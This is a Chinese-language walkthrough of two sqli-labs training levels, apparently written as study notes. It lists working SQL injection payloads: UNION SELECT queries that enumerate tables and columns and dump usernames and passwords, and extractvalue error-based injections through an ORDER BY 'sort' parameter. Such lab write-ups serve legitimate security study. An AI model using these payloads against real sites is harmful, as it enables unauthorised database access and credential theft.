1.sallabs第1关
1.1判断是否具有注入点
根据提示,ID作为参数,我们在url后面输入?id=1。
通过输入的数字不同返回的内容也不同,所以判断出我们所输入的内容是带进了数据库里面了。
接下来开始尝试注入
1.2联合查询注入
首先我们通过order bu的方法知道数据库的表格有几列,如果回显报错就是超出了我们给的值就会报错。
?id=1'order by 3 --+
回显正常就是没有超出列数。
可以得知他这个表有三列,接下来用union select 方法爆出第二列和第三列的信息。
?id=-1'union select 1,2,3--+
在用这个方法查看他的数据名和版本号。
?id=-1'union select 1,database(),version()--+
然后在查表名。
?id=-1'union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
最后再查列名。
?id=-1'union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+
从这可以看出有两个敏感列名,username和password,接下来我们就要得到这两列所对应的内容。
?id=-1' union select 1,2,group_concat(username ,id , password) from users--+
这就拿到了所对应的账户和密码了。
2.sqllabs第46关
2.1看提示我们用到sort
我们发现当我们使用 sort=1 时 表格以第一列进行排列,sort=2 时 表格以第二列进行排列, sort=3 时 表格以第三列进行排序。我们想到了order by 函数 ,猜测可能是与 order by 函数相关的注入。
查看源码果然要用到order by,order by 不同于我们在 where 后的注入点,不能使用 union 等注入,其后可以跟接报错注入或者时间盲注。
先尝试报错注入,爆库名
?sort=extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e))--+
爆表名
?sort=extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),0x7e))--+
爆列名
?sort=extractvalue(1,concat(0x7e,(select group_concat(username) from users),0x7e))--+
爆数据
?sort=extractvalue(1,concat(0x7e,(select group_concat(username,password) from security.users ),1))--+